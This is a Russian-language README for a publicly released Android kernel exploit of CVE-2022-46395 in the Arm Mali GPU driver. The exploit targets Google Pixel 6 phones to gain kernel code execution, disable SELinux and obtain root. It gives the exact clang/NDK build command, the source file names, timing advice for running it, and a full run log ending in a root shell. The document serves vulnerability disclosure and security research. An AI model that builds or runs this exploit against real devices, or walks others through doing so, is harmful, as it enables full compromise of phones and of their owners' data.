
Эксплойт для ядра Android, использующий CVE-2022-46395, нацеленный на драйвер Arm Mali для достижения произвольного выполнения кода, отключения SELinux и повышения привилегий до root на устройствах Pixel 6.
Описание можно найти здесь. Это ошибка в драйвере ядра Arm Mali, которую я сообщил в ноябре 2022 года. Уязвимость позволяет получить произвольное выполнение кода в ядре из домена ненадёжных приложений, что затем используется для отключения SELinux и получения root.
Эксплойт протестирован на Google Pixel 6 с патчами ноября 2022 и января 2023. Для справки, я использовал следующую команду для компиляции с clang в ndk-21:
android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang -DSHELL mali_user_buf.c mempool_utils.c mem_write.c -o mali_user_buf
Эксплойт следует запускать через несколько минут после загрузки, и, вероятно, ему потребуется несколько минут для успешного выполнения. Нередко состояния гонки не срабатывают сотни раз, хотя это не имеет негативных последствий, и в целом эксплойт редко приводит к краху. В случае успеха он отключит SELinux и даст root.
oriole:/ $ /data/local/tmp/mali_user_buf
fingerprint: google/oriole/oriole:13/TQ1A.230105.002/9325679:user/release-keys
benchmark_time 357
failed after 100
failed after 200
failed after 300
benchmark_time 343
failed after 400
failed after 500
failed after 600
benchmark_time 337
failed after 700
failed after 800
failed after 900
benchmark_time 334
failed after 1000
failed after 1100
failed after 1200
benchmark_time 363
failed after 1300
finished reset: 190027720 fault: 135735849 772 err 0 read 3
found pgd at page 4
overwrite addr : 76f6100710 710
overwrite addr : 76f5f00710 710
overwrite addr : 76f6100710 710
overwrite addr : 76f5f00710 710
overwrite addr : 76f5d00710 710
overwrite addr : 76f5b00710 710
overwrite addr : 76f5d00710 710
overwrite addr : 76f5b00710 710
overwrite addr : 76f6100fd4 fd4
overwrite addr : 76f5f00fd4 fd4
overwrite addr : 76f6100fd4 fd4
overwrite addr : 76f5f00fd4 fd4
overwrite addr : 76f5d00fd4 fd4
overwrite addr : 76f5b00fd4 fd4
overwrite addr : 76f5d00fd4 fd4
overwrite addr : 76f5b00fd4 fd4
result 50
oriole:/ #